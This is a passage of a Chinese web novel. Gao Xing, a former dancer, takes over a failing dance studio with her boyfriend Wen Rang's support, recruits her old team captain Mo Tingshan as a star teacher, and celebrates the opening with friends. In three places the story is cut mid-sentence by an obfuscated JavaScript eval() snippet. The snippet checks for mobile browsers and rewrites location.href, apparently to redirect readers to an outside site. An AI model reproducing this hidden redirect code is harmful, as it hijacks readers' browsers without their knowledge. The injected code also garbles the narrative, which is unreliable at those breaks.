“我是怎么走出来的是吗?”高幸眼珠子滴溜溜转到一侧,瞟了温让一眼,“大概是意识到,自己还算幸运。” “或者说,每个人都有自己的幸运星,就看你有没有发现。” 45. 舞室:张元宝 「舞室:张元宝」 跟汤缈道别后,两人散步回家,走着走着,腿脚都暖和起来了。 “今天跟舞室老板聊得怎么样?”温让问道。 高幸通过唐冉联系到了南城的一些舞蹈工作室老板。 街舞老师是个吃青春饭的活儿,而且更新换代速度极快,街舞界的后生从十岁到二十不等,正是身体机能最好的阶段,她的舞蹈已经荒废了许多时日,再回去当老师也不现实。 温让便提议让她联系舞室做合伙人。 高幸这些年确实攒了些钱,去丹麦待了一段时间回来还剩一些,这两天她也做过市场调查,投资舞室是够用的。 “有两个老板都是舞者出身,他们倒是耿直人,直截了当地说目前没有找合伙人的想法。”高幸有些丧气,“还有一个连锁的舞室,老板是商人秉性,分店开了不少,加盟费要这个数。” 她张开五指。 “五万?” “五十万。” “……”温让差点没笑出来,“咋不去抢呢?” “我反正不看好这些连锁舞室,很容易踩雷,资金链出一点问题就会倒闭,到时候老师的工资发不了,学员交的钱也还不了。”高幸说,“我之前有朋友就吃过这亏。” “所以舞蹈老师开的小舞室更靠谱吗?” “是的。”高幸说,“尤其是那种每节课都有十个以上学员约课的舞室。” “开一个这样的舞室,大概需要多少原始资金?” 高幸掰着指头开始算,“主要得看地段,不同地段的门面租金不一样,如果在南城选择性价比高的地段,租金一年怎么也要4万吧,如果直接盘舞室,就不用装修,否则还要一笔装修费,简单点算个两万块,新舞室必须要请一两个有名的老师坐镇,再请一些有实力的兼职老师,人工费这里每个月就算3万块。” “那就已经9万了。”温让想了想,“可能还需要其他的一些钱,比如营业执照什么的,至少得准备10万。” “差不多。”高幸说,“我的卡里现在倒是能拿出来十万。” “但就掏空了。” “嗯……” “那我之前说的办法,你考虑过了吗?” 前天夜里,两人酣畅淋漓地做完一次,贤者时间过去,双双坐起来开始商量接下来的打算。 那时候,温让就提过,他可以支持高幸自己开舞室,但高幸拒绝了,她不想总是靠温让,温让也明白她的顾虑,没再勉强。 高幸把手放到他羽绒服后面的帽子下,那儿比兜里还暖和。 “再让我想想吧。” “哎……” 温让忽然叹了口气,给高幸逗乐了,“干什么呀?” “需要去网上搜搜,女朋友太独立了怎么办?” “独立不好吗?” “好啊,怎么不好。”温让说,“不过我想问问你,如果是关容清支持你开舞室,你会用她的钱吗?” “会,打个借条,到时候连本带利地还。” “那你也给我打借条不就行了。” “可我总觉得怪怪的。” “有没有可能是因为,你和关容清已经很熟了,不需要考虑那么多,但你第一次谈恋爱,还不熟悉身边多了一个男朋友。” 温让确实说到点上了。 暗恋的年头太长,两人都吃够了有话不能说的苦,好不容易在一起,自然不会再像之前那般压抑自己,有什么矛盾也是当下就说清楚了。相处起来没什么大问题,性格上也动静互补。 但就是有一点,高幸独立惯了,还不太习惯享受来自男朋友的不求回报的付出。 她知道温让是很好的人,也知道他都在替她着想,但就是……很难松弛下来。 “我会慢慢习惯的。”高幸说。 “没事,我不是在催你改变,既然我做事,你都有帮忙,那你的事,我不可能不出一份力,对吧?” “对。” “那我们就合伙开一个舞室,你当老板,我入股,分成就象征性给点儿,反正我的钱迟早都是要上交的。” 温让说得太真诚,连路人都高看了他几眼。 高幸抿着唇忍笑,“行,咱们回家再好好商量商量。” · 温让在南城等学校的处理结果,公寓还得租一段时间,两人就趁这空当把南城正在出租的门面考察了一番。 从城南跑到城北,又绕到城东,汽车的油都快跑没了,中途还去加了会儿油。 “要么就是太大,成本高,要么就是屋子太小,结构不好打通。”高幸看着自己记在平板上的笔记,“要么就是狮子大开口,把我们当冤大头。” “没事,租门面也得看缘分,说明这些门面都和我们无缘。”温让是个安慰人的好手,“待会儿去的那家不是挺不错的嘛?” “因为下一家是舞室转租,我们只需要更换一下店名,不用投入大额装修费。”说到这里,高幸的心情舒缓了许多,“而且老板和我们年纪差不多,蛮好说话的。” “就是昨晚和你打很久电话的那个吗?” “打了很久吗?”高幸疑惑道。 “足足15分钟。” “还好嘛。” “嗯,就是打来的时机不对。” 高幸反应过来,耳根子都红了,“下、下次不会让你暂停15分钟了。” “没关系。”温让踩下油门,漫不经心地说了句,“下次咱们把手机静音。” “那不行,你每次都要很久,万一别人有急事找我。”高幸的声音越说越小。 “好,听你的。” 十几分钟后,高幸在一栋旧百货大楼门口见到了舞室老板——张元宝。 张元宝一身swag打扮,宽松的卫衣外面套了件黑色派克服,戴了顶渔夫帽,露出线条凌厉的鼻梁骨和下颌线,整个人流露出来的拽酷的气质跟他朴实的名字完全不搭。 “高幸是吗?” “是我,张老板你好。” 张元宝在微信上和电话里都挺热情的,但是见面却出奇冷淡,双手插进裤兜,一看就不好惹。 “走吧,上去说。” 高幸和温让跟在他身后,还没来得及提醒,就看着他撞上了百货大楼不太自动的“自动门”。 张元宝捂着脑袋后退一步,默默把帽檐抬高了点,高幸知道他们这些酷哥爱面子,装作没看见。 舞蹈室在A栋四层,挨着美食区,隔壁是一个健身游泳馆,同层还有个少儿舞室,看上去人气挺旺,这个时间点不少家长把孩子送进去。 “我这儿位置不错。”张元宝冷冷淡淡开口,“很多人在旁边吃多了就想过来运动运动。” “?”高幸好像知道这店开不下去的原因了。 “你是什么原因转让呢?”温让问道。 “跟合伙人闹掰了。”张元宝提到这个,气场又低迷了许多,“准确说,是分手了。” “好吧那确实……”高幸一时间也不知道该不该安慰。 “所以我痛恨夫妻档开店。”说完,帽檐下故作犀利的目光扫过温让和高幸二人。 “呃。” “高小姐是吧,坦白说,昨晚给你打电话,我以为你打算自己把这店盘下来,还挺信任你的。”张元宝拉开三把椅子,自己先坐下,翘起二郎腿,“但既然你们想两个人一块儿干,我这里有很多失败的经验可以给你们借鉴。” 高幸从背后悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256238|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悄扯了扯温让的衣服。 “说来听听。”温让递给高幸一个“明白”的眼神。 “我不建议三种人合伙开舞蹈店,第一种,只说不干的事儿精,张嘴就是挑刺,这也不对那也不对,实际行动是一点儿都没。第二种,全身上下除了心眼子就是钱眼子,没有丁点儿对舞蹈的热情和尊重。第三种,缺乏信任的情侣,总觉得对方私吞钱,到最后,钱也没挣到,感情也没了。” 张元宝这咬牙切齿的模样,让人很难不怀疑他在控诉前合伙人。 “张老板,我也跟你说过,我从大一开始就是舞室的兼职老师,自己也加过舞队。” 张元宝抬手比了个打住的手势,“你的情况我差不多都知道了,但是好的舞者不代表可以成为一个好老板,我就是最佳反例。” “张老板,你是觉得我们提议的转让费太少了吗?”温让问道。 “之前有个哥们儿出的钱比你们更多,我也拒绝他了。” “那你在顾虑什么?”高幸问道。 “这个店一旦转让,原本的学员也会一并转给你们。”张元宝说,“我必须要找个负责的人来接应舞室。” 高幸点点头,小臂交叠着放上小圆桌,身子微微前倾,“我明白你的意思了,可是你怎么能就靠这么一两面就判断一个人有没有责任心呢?” 张元宝正要开口,温让插了一句,“转让后,这个舞室的老板只有阿幸一个人,我不会过问。” “你俩不是要一起开?” “我只出钱,所有事都是她说了算,如果她需要参考意见,我会提供帮助。” “那你要多少分成?” “随便给点儿就行。” “?” 张元宝小小的眼睛里装满了大大的疑惑,“现在还有这样不求回报的甩手掌柜?” “张老板,你的顾虑也是对学员和这里的舞蹈老师负责,我和阿幸都理解。”温让诚恳地说,“我们今天看了好几家店,来的路上,阿幸还说目前最想要的还是你这家舞室,因为你以前也是舞者,她挺信任你的。” 说到这里,张元宝的表情果然有些松动。 高幸赶紧趁胜追击,“开舞室不是我一时兴起,其实从毕业后就一直有自己做老板的念头,但是……那时候勇气还不够。” “那怎么又有勇气了?”张元宝语气柔和了许多。 “因为现在很清楚自己想要什么样的生活了。” 她不要被看不到窗外绿荫的格子间束缚,也不要被人为赋予的等级关系困住,她不想成为公司里可有可无,随时被新鲜血液替代的牺牲品。 开舞蹈室是她小时候刚学舞蹈时涌出来的想法。 现在的高幸,在圆一个20年前看来还遥不可及的梦。 “张老板,希望你能认真考虑下她。” 温让其实不喜欢也不擅长去主动争取,但看着高幸望向这间舞室时憧憬的眼神,有些话顺着心意就说了出来,“她对待每件事都很负责,有时候宁愿自己吃亏,也不会逃避责任,舞室交给她,你完全可以放心。” 张元宝的眼神在他俩脸上流转,“行,让我再想想,这事儿我不能冲动,待会儿还有好几个人要过来。” “那好,你决定后直接联系我就行。”高幸说完起身,“我们就不打扰你了。” “好,再见,还是很感谢你们喜欢这个舞室。” 温让也跟着站起来,然而就在高幸转身时,一个纸团抛到了张元宝手里。 眼看着情侣俩手牵手离开,张元宝懵懵地展开温让丢给他的纸条。 -张老板,价钱好商量,你想加多少都行,但舞室下一个老板,只能是高幸。 (纸条上的内容请帮忙保密) 46. 最佳损友:莫听山 「最佳损友:莫听山」 张元宝是在当天晚上联系高幸的。 高幸发现了,这人很爱在夜里做决定,两人约好在两天后签订转让合同,舞室租借这事儿正式敲定下来。 一个问题解决了,紧接着就有下一个问题:因为张元宝和前任经营不善,舞室又是兼职老师居多,很多老师都跳槽去了其他地方,现在只剩下两个兼职,还都是初出茅庐挣点外快的大学生,担不起舞室“明星”导师的重担。 高幸必须在短时间内找到有影响力的老师,才能稳住学员。 唐冉倒是乐意帮忙,但她同时还在带少年班,忙着参加各种比赛,一个月能排两次课都算好的了。而她认识的大神老师也都有各自的常驻舞室,几乎抽不出来时间。 已经很久没发朋友圈的高幸破天荒发了条招聘广告。 第一个点赞的是温让。 高幸发现后,立马给他发消息:某人不是在图书馆查文献? 虽然温让休学了,但卷王的素养提醒着他,课业不能荒废,这些日子,他每天都会抽时间去校图书馆找些网上查不到的文献来看。 按理说,他不该秒赞。结果不光秒赞,还秒回了。 温让:某人文献看累了。 高幸:「抓住你了.jpg」 温让:需要老师的话,怎么不问问莫听山? 高幸:我和他都几年没聊过天了。 温让“正在输入”了一会儿,最终只发了个小狗拥抱的表情包。 舞室需要换名字,练习室墙上的logo也得跟着换。高幸想了好几个备选,还专门找人算了各个名字的吉凶,最终定为“X岛DanceClub”。 周六,练习室logo已经做好,安装师傅十点钟准时到了店里。 昨晚折腾得太久,高幸这会儿还有些睡眼惺忪,和师傅沟通好悬挂的位置,电钻声轰鸣,店里一时间吵得连手机铃声都听不到,温让打来的电话也被错过了。 logo是高幸自己设计的,找学设计的朋友稍微润色了一下,一座绿野小岛上顶着一个带有科技立体效果的X,右下角是一串英文花体字“danceclub”,整体是绿灰渐变色,和灰色的墙体很搭,清爽又高级。 “小高,招牌快做好了。”师傅收拾着工具箱,说道,“我们老板让我问一下,你日子定好没?” “哦对,定好了,下周五来装吧。”高幸说。 “好,我回去说一声,老板的意思是,尾款就等到装好招牌再结。” “好的,麻烦了。” 等到师傅离开后,高幸脱下外套,卷起毛衣袖子,从商场的洗手间接了满满一桶水,毛巾拖把齐上阵,开始打扫舞室。 镜子太高了,上面的部分她擦不到,正要去找高脚凳,一只手从身后握住了她的手腕。 “我来。”温让不知什么时候到的,这会儿也是轻装上阵,另一只手还拿了个干毛巾。 “又这么神出鬼没的。” “诶,给你打了几个电话哦。” “可能是刚才在装修。”高幸把他的身子转过来,指着墙上的logo,“好不好看。” “好看。”温让亲了亲她的额头,“果果女士的审美无需质疑。” “刚来就喂我一嘴狗粮?” 一个高个子男人斜斜倚靠在练习室门口,黑色针织帽一戴,五官越发帅气凌厉,橘色的短款飞行夹克相当骚气,里面还露出一截黑T,深蓝色阔腿牛仔裤快要拖地,倔强地露出脚下那双价值不菲的奢牌滑板鞋。 时隔这么多年,莫听山还是潮得让人犯风湿。 高幸以为自己看岔眼了,试探性唤了声,“莫队?” “还记得我呢。”莫听山走过来,身量比甚至比温让还要高一点,大骨架男人就是行走的衣服架子,“什么时候开业?” “具体时间还没定。”温让说,“这不差一个明星导师镇场子嘛。” “好说。”莫听山忽然抬手,重重地拍了高幸的肩膀一下。 女子纹丝不动,倒是温让瞪了莫听山一眼。 “不错,肌肉还算结实,没荒废太多吧?” “回莫队,这几天恢复练习了。” 莫听山欣慰地点点头,像个老父亲,“很好。” 他会帮忙,高幸一点儿也不奇怪,毕竟温让跟她说过,莫听山是他唯一一个真正意义上的死党。 “这儿就留给温让收拾吧,你跟我出去聊聊排课的事。”莫听山说,“对了,我跟以前队里其他几个职业舞者也打了招呼,三个月内他们任凭差遣,更多的时间我就无法保证了。” “三个月完全够了。”这已经解了高幸的燃眉之急。 莫听山现在在hiphop和编舞界都是响当当的人物,有他坐阵,学员只会多不可能少。 高幸本来想给莫听山倒点水喝,却发现饮水机的水已经是半个月前的了。 “不用麻烦了。”莫听山从斜挎的胸包里摸出一个小小的保温杯,“我现在都喝热水,养生。” 高幸盯着那个粉色的印着helloKitty图案的保温杯,欲言又止。 “你这啥表情?”莫听山不动声色地拧开盖子喝了口。 “莫队,你有女儿了?” “……也算吧。” “?” “养女朋友怎么不算养女儿呢。”莫听山脸是冷的,说出来的话却是滚烫的,“爱一个人就是爱她的一切,包括她的粉色凯蒂猫保温杯。” “但——”保温杯盖子弹开,露出一根软胶吸管,“不用吸管是我最后的尊严。” 高幸倒是没打听过莫听山的感情生活,当年作为南城大学里和温让齐名的风云人物,莫听山的追求者数都数不清。 和温让这种一心只读圣贤书的学霸不同,莫听山经常参加文艺活动,成绩好就算了,长得帅,身材好,穿搭又潮,一看就是没有空窗期的顶级男大,追他的男男女女能从南城大学排到高幸他们学校。 虽然莫听山流传在外的“酷哥”、“浪子”形象根深蒂固,但高幸从来没见过他跟哪个女生搞暧昧,更没听说他交女朋友的事。 不过他有这样傲人的资本,现在谈恋爱也不足为奇。 高幸唯一好奇的是何方神圣能让莫听山这尊超级大直男捧着小巧可爱的helloKitty保温杯喝水。 “不许用这么怜悯的眼神看着我。” “莫队,我没有。” “我这个月在南城,时间很灵活,下个月要去申城当评委,具体的时间我发你微信上了,你看一下。” “好的。” “高老板以后富贵了,别忘了我。” “必须的,我有今天全靠莫队当年的监督。” “搁这儿涮我呢?”莫听山笑道。 高幸发现莫听山好像比以前更松弛了,本科期间,他执着于赛事成绩,执着于带领团队拿下一个个荣誉,又拼命又紧绷,表情总是严肃的,玩笑更是不常开。 只要临近比赛,舞室的气压低得,路过的狗都得抑郁。 “高幸,认真做。” “好。” “既然你是温让女朋友,又是我以前的队员,咱们就是亲上加亲。”莫听山说,“你知道的,我这人有时候虽然脾气不好,但对自己人都很大方。” “我明白。” “你别光明白,做生意就需要经营自己的人脉,该用就得用。以前你拿舞蹈当爱好,但现在舞室是你吃饭的东西,跟爱好不一样的。”莫听山指了指心口,“跳舞用这儿,但是做生意,得少用这儿。” “早上的叉烧包是不是没给你吃饱?”温让把脏毛巾浸泡在水盆里,“话挺多啊。” “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263734|162607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在教育高幸。”莫听山说,“这不怕她吃亏嘛。” “有我呢,不会吃亏。” “得了吧,就你俩,一个赛一个菩萨心肠。” “……” “我难道说错了吗?”莫听山大马金刀坐着,开始“数落”对面的两人,“你,高幸,学语言的,跳舞纯粹因为热爱,那会儿让你去接私教课,不知道加课时费就算了,别人跟你撒个娇好家伙直接白送人家一节课。” 高幸默默垂下头。 “这只能说明阿幸善良。” “闭麦,听我说完。” “嗯。” “你,温让,搞物理的,学术界冉冉升起的新星,虽然现在处于半降落状态。” “话也不能这么说。”高幸紧急护夫。 “你也闭麦。” “噢。” 莫听山压了压嗓子,低音炮显得更加成熟,“你一心做研究,身上没半点铜臭气,这在21世纪属于是祖坟冒青烟的优良品质。就你俩这性格,如果这会儿来个人说自己超级热爱舞蹈,但是因为刚毕业没什么钱吧啦吧啦,求求你们给他一点时间让他先学舞再交钱,晓之以情动之以礼,你俩咋办?” “我思考一下。”高幸说。 “别思考了,俩大好人开店的下场只有两种,第一,你们遇到的也全是好人,店铺经营良好,第二,出现一个坏人,店铺倒闭。” 温让皱起眉头,“我俩也不是滥好人,有脑子的。” “那你们还选这家店?” “这家性价比最高。”高幸解释道,“而且老板以前也是舞者。” “张元宝嘛,我知道他。”莫听山说,“他就是那个被一颗老鼠屎坏掉一锅粥的滥好人。” “……” “生意不是那么好做的,高幸,以你的能力,我相信你不会局限于这开这一家店,如果以后要开分店,一家、五家、十家,从南城到江城再到申城,舞室规模越来越大,你有考虑过这些问题吗?你俩有做长远计划吗?” “没有。”高幸老实巴交,“舞室这块儿,我都是走一步看一步。” 莫听山又看向温让,“我知道你从来不会走一步看一步,所以你应该都想到了。” “嗯。”温让严肃点头,“你说的我都考虑过,反正资金不会有问题。” “我知道你有钱,也舍得为高幸花钱,资金当然不是问题。”莫听山说,“但是管理呢?” 高幸坚定地举起手,“我可以去考MBA。” 莫听山和温让双双看向她。 “对于店铺的经营管理我确实没经验,但从我决定盘下这间舞室开始,我就思考过个人规划。”高幸吐了口气,把这些天的想法都倾诉出来,“我想的是,先用半年到一年的时间把还没解决的事都解决好,稳定下来后,最迟明年年底着手考MBA,国内外的院校我已经看了几所,还没完全确定。” 莫听山用眼神询问温让:这事儿你知道吗? 温让摇摇头。 “我觉得不错。”莫听山说,“多学点儿东西总是没问题的。” “你想做的事,我都会支持的。”温让说。 “本来是打算等舞室这些事尘埃落定再和你商量的。”高幸看着温让,“但既然现在提到了,我也参考下你们的想法。” 莫听山的大拇指顶着下巴,认真思考着。 “完全没问题的,到时候我们好好选择学校。”温让说。 “好。” “我在想一个很严肃的问题。” 刚才被莫听山点拨了一通,两人都很期待他接下来的话。 “你俩要是真的发达了,这份子钱我得随多少才不至于丢了面儿。”莫听山语重心长地说,“要不你俩趁着还没发家致富把婚结了吧,给我省点奶粉钱。” 温让微微一笑,“你回家吧。” 47. 夜宵聚会:关容清 「夜宵聚会:关容清」 温让再次接到南城大学的电话,恰好是高幸舞室开业那天。 莫听山本科时候拍的舞室宣传照用了很多年,这次为了高幸的新店,特意重新拍了宣传照,比起学生时代略带青涩感的帅气,新照片更成熟,也更吸引人。 高幸提前两天把宣传易拉宝摆在舞室门口,几乎所有路过的人都会停下来看几眼,以前的学员更是一个都没退费,就等着上莫听山的课。 原来的舞室本就是以hiphop和编舞为主,慢慢发展出爵士,所以莫听山三个字就是活招牌,根本不需要耗费大量的金钱和时间去网上做宣传,学员们一传十十传百,于是开业这天,X岛舞室门口水泄不通。 莫听山的体验课在高幸放出消息的一分钟内就约满了,剩下的人只能约其他老师的课。但X岛的阵容实在太强大,没有一个人有怨言。 要知道这些大师在其他舞室都是爆满的,现在居然愿意为一个新开的舞室上免费公开课。 高幸预想到这情况,特意雇了两个附近的大学生做兼职,维持秩序,解答客户疑问。 温让本来也在舞室帮忙,下午就被南城大学一通电话叫走了。 他一走,莫听山身上的担子就重了些,不仅要上课,高幸忙不过来的时候他还得帮忙,“出卖”技能也就算了,还不断有学员找他拍照,说什么只要合影就报课。 好不容易熬到下一个老师来上课,他有了喘息的机会,瘫着前台的椅子上开始诉苦,“我从来没像今天这样出卖过色相。” 高幸一边核对名单一边笑,“辛苦了莫队,今天晚上一定请你吃大餐。” “温让那小子到底去哪儿了?什么时候回来?” “应该是学校找他商量解决办法了。” “葛老东西那事儿是吧?”莫听山闭目养神,语气颇为不屑,“学校现在都传开了,我说以温让的能力怎么可能延毕,当年我问他是不是葛椿给他使绊子了,他还闭口不提,结果憋了个大的。” 说到这里,高幸忽然转过头,“莫队,你这些年每年都见过温让吗?” “基本是,我到南城就会去找他,但很多时候他都泡实验室,葛椿啥活都给他干,跟压榨奴隶似的。” “那他这些年……”高幸没整理好措辞,说一半就没声了。 “我知道你想问什么。”莫听山坐直了,一本正经地说道,“但我希望你可以去问他,让他亲口告诉你。” “高老板。”练习室门口探出个脑袋,编舞老师严严打了个响指,“音响接触不好,你过来看一下。” “好的。” 高幸订的新音响还没运到南城,现在练习室用的还是旧音响,总是容易出问题。 在练习室忙活完,门口又来了不少人要上下一节爵士体验课。 因为高幸自己也是练爵士的,所以她把爵士的定位放在了舞室舞种的第一梯队,这样男女学员的比例也能得到平衡,方便后续拓展市场。 高幸跟两个兼职大学生一一核对学员的约课信息。 舞室共有两个教室,一个最多可以容纳100人,方便上大班课和公开课,另一个最多容纳十人,方便上精品小班课。 前来咨询的学员很多都是零基础的,大班课跟不上,高幸带着他们参观了小班课的教室。 其中一个女生看到莫听山后,大胆问道:“莫老师也是舞室的老师,那我能约莫老师的一对一吗?” “这个……” 高幸还没回答,莫听山就抢过了话头,“我到现在只接过一个一对一。” 女生有些期待地看着他。 “那个人是我女朋友。”莫听山微笑道,“教她给我留下了很深的阴影,所以我已经金盆洗手,再也不教一对一。” “莫听山你又在放什么猪屁。”门口忽然传来一声清脆的怒喝。 高幸瞪大眼睛望过去。 忽略刚才的言辞,那是个面容姣好,气质出尘的女子,白色大衣长至脚踝,一双厚底马丁靴把她衬得更加高挑。 莫听山一听这声音,下意识想往桌子下面钻,被高幸制止了。 “莫队,这不体面。” 女子迈着长腿走过来,揪住他后脖颈的领口往上拽,“敢说老娘坏话,嗯?” “哈哈,宝贝来啦。”莫听山一把揽过她肩膀,“走走走,哥请你喝奶茶去。” 说完,他给高幸使了个眼色。 高幸心领神会,看着那位目瞪口呆的学员说道,“虽然莫老师没法上一对一,但是我们还有其他导师。” 旁边的大学生很有眼力见,找出宣传单,开始给学员们挨着介绍店里的老师。 温让傍晚就回来了,晚上还有两节体验课,上班族居多,两人忙得晚饭都没吃。 一整天下来,高幸腰酸背痛,眼皮打架,比跳了几小时的舞还累,温让给她按摩了一会儿都不管用。 原本计划十点闭店,但咨询报课的人实在太多,最后关门已经快十一点了。 “要不我给老莫说一声,改天再吃夜宵?”温让心疼地说。 “不行,累了一天了,我也想犒劳一下自己。”高幸挽上他胳膊,“我早就订好大排档了,老板就等着我们过去呢。” 南城不是夜生活丰富的城市,深夜饭店更是屈指可数。 高幸订的那家大排档离百货大楼不远,开车十分钟就到了。 从门面装修来看,已经开了很多年,是家老店。 “我们舞队以前聚餐经常来这儿。”高幸解释道,“莫队也说很久没来吃过了,所以我就订了这儿。” “挺好的。”温让停好车,“这样的店比较适合聚餐。” 莫听山紧随其后,车就停在他们对面。 “诶,高幸啊,下午忘了给你正式介绍。” 莫听山身旁的女子收起面对他时的凶狠模样,笑容温婉可人,“我是莫听山的女朋友,花屿,花朵的花,岛屿的屿。” “好好听的名字。”高幸夸赞道,“你好,我叫高幸。” “早听温让提起过你了,也就他能憋,隔了这么多年才把你追到手。”说完,还不忘瞥了莫听山一眼,“所以人以群分。” “点我呢。”莫听山笑笑,“走吧,肚子都叫老半天了。” “没事儿,去了就能吃,先点了一些菜,你们待会儿继续点就行。”高幸说道,“对了,我还叫了两个朋友,今天不是周五吗,她刚好也回南城一趟,以前也是南城大学的。” “原来还是校友啊。”花屿说道,“大家今天都累了,晚上就一起痛快痛快。” 别看花屿长相清纯,性格却是个大大咧咧的自来熟,完全不需要破冰。 这个时间点的大排档没多少人,走进大厅,高幸一眼就看见了朝她挥手的关容清。 温让和关容清对上视线,蓦地愣住。 关容清装作不认识他的样子,和身旁的男朋友陶源一块儿简单做了个自我介绍。 “他俩都是我的发小。”高幸笑道,“只不过后来陶源抛弃我们去国外念书了。” “关容清?关医生?”莫听山下意识看向温让,“诶这不是你的心理——” 花屿狠狠揪了他一把。 “嗷。” 高幸注意到他们的异常,但没多问,开了个玩笑把话题转移,“这里除了我和陶源,都是南城大学的,也算你们校友聚会了。” 莫听山还在跟温让使眼色,花屿倾身挡住他俩,和关容清他们聊了起来。 “容清,你在哪儿上班呀?” “我在申城的医院。” “哦哦申城节奏还挺快的,之前在那边呆过一阵儿。”花屿说完,又看向沉默寡言的陶源,“你们俩现在都在申城吗?” “是的。”陶源说,“我毕业就回国了。” “申城房价挺高吧?你们打算定居吗?” “目前是这个想法。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“今晚大家就不要跟我客气了,开业第一天,一定要吃饱喝足。”高幸端起盛满果汁的杯子,“因为我待会儿要开车,就不喝酒了,你们尽兴。” “谢谢大家对我和高幸的帮助。”温让的眼神在关容清身上停留一瞬,“以后需要我们帮忙的地方,尽管说。” 关容清了然,“作为高高20多年的好朋友,她能完成儿时的心愿,我也很替她高兴,希望高幸和温让以后可以万事顺遂……一直幸福下去。” 对上高幸温情脉脉的眼神,两人忍住各自眼里的酸涩,相视一笑。 陶源轻轻拍了下关容清的后背安抚她,“在国外这么多年,我跟容儿、高高也没断过联系,印象中高高一直是个寡王,不过听说温让也是寡王,还挺相配的。” 这话一出,大家都乐了。 “反正,祝高高的舞室生意兴隆,也祝在座各位都心想事成。” “哥们儿的祝福我就接了啊。”莫听山清了清嗓子,“这不新的一年也来了,往事随风去,新年新气象。” 这么会儿时间,莫听山刚才没想明白的事在脑子里一转也全都明白了,高幸去了丹麦,温让也去丹麦,温让的心理医生是高幸的发小,而且高幸看来还不知情。 他顿了下,吸了口气接着说,“我还想说,希望每个人都可以,在这个破烂世界,活得快乐些。” 花屿看向身旁突然变得正经的男人,抿唇一笑,“是嘛,我们都要开开心心地活着,到了八十岁,也不要变成麻木的老人。” “说得好,如果能天天开心那就最好,如果不能,那就接纳自己的全部情绪。” “容清不愧是学心理学的。”高幸伸直胳膊,“干杯!新年心想事成!” 陶源:“财源滚滚。” “幸运加持,顺风顺水。”温让先碰了碰高幸的杯子。 莫听山:“不缺钱不缺爱,事事如意。” 花屿乐呵呵跟大家的杯子撞到一起,“以上我全接!再祝大家——” “新年快乐!!!” 48. 锋芒 「锋芒」 再次站在红楼门口,来来往往的人依然很少,石碑上爱因斯坦的名言还在,指纹识别也没有忘记温让。 公共会议室里坐满了人,不知道是哪个导师带的项目组在开组会,他听到了一个接一个英文专业名词。 几个衣着朴素的年轻面孔自走廊另一头匆匆而来,见到温让的时候他们还犹疑了一下,似是认识他,又不知道该怎么打招呼,于是半低着脑袋拐弯扎进实验室。 温让提前跟自己的两位新导师取得了联系,一个是南城大学去年挖回来的量子材料领域的海归大佬,另一个是他在海外的同事,目前是南城大学的特聘教授,本来是不带学生的,但在听说温让的遭遇后,两人都毅然决然同意了。 这个节骨眼肯把温让收入“麾下”的都是真正搞学术,没啥歪心思的人。 温让早就听过这两位导师的大名,跟着他们确实可以学到不少东西,而且他们也是常年走在实验室一线的,不会以指导为名,把活儿都交给学生干。 今天正式入组,组里除他以外还有几个博后,想不到读书读到27岁,他混成了组里年龄最小的师弟。 日子好像又回到了以前,简简单单的三点一线:实验室-宿舍-食堂。 只不过“宿舍”换成了和高幸临时居住的温馨小家。 虽然高幸总说温让很浪漫,但只有自己的生活,温让是浪漫不起来的,他会让生活中的一切都尽可能简单,颜色也永远是黑白灰。 高幸是进入他生命中的一抹亮色。 在她的带领下,温让也会留意路边的花店,在回家路上顺手带一束他还认不全姓名的花,又或者是在某个早早结束当天任务的下午,去接高幸下班,两人一块儿逛逛小区附近的市场,把空了大半的冰箱填满。 现在温让有了双休,高幸也把开业那天一位表现很好的兼职大学生留了下来,让她周末帮忙守店,挣点生活费,这样,两人周末就有了完整的相处时间。 在本地找家公园,四处走走,散散心,或者开车去相邻的城市,吃喝玩乐,随性打卡。时不时的也会去疗养院看望王嫣,虽然总是被拒之门外。 这样平静又幸福的生活,是温让以前不敢想象的。 但总有人会打破平静。 温廉比温霖先一步找上门来。 那天,温让和高幸都还没回家,就接到了小区管家打来的电话,说是有人在楼下发了疯似的找他们。 温廉不知道他们具体住哪一栋,就赖在物业处,无论对方说什么,他都不走。 按照管家在电话里的描述,温让觉得温廉恐怕是被什么东西附体了才会做出这样的事儿。 赶回去的时候,果然看到一个戴着鸭舌帽和口罩的清瘦男子坐在物业办公室的沙发上。 “温廉。”他沉下嗓音,“你来干什么?” 温廉一见到他,突然几个箭步上前,揪住温让的衣领,逼得他退后几步,后腰撞上了门把手。 温让痛得闷哼。 “你要毁了温家?” 旁边的三个工作人员一看这架势,立马过来劝架。 “二位好说,不要动手啊。” “这要是把警察招来了不就麻烦了嘛。” “是啊,既然都是兄弟,各让一步吧。” 温廉的手指用力到泛白,他松开手,突然摘下了口罩。 原本清秀的脸庞上赫然出现了一些疤痕,有烫伤的痕迹,还有一条从眉骨蜿蜒到下巴的刀痕,似乎做完手术没多久,线都还没拆。 见到他这样,温让并没有多震惊,反倒把工作人员吓得往后退了几步。 “温廉,这些年该还的我还清了,没什么欠你的。” 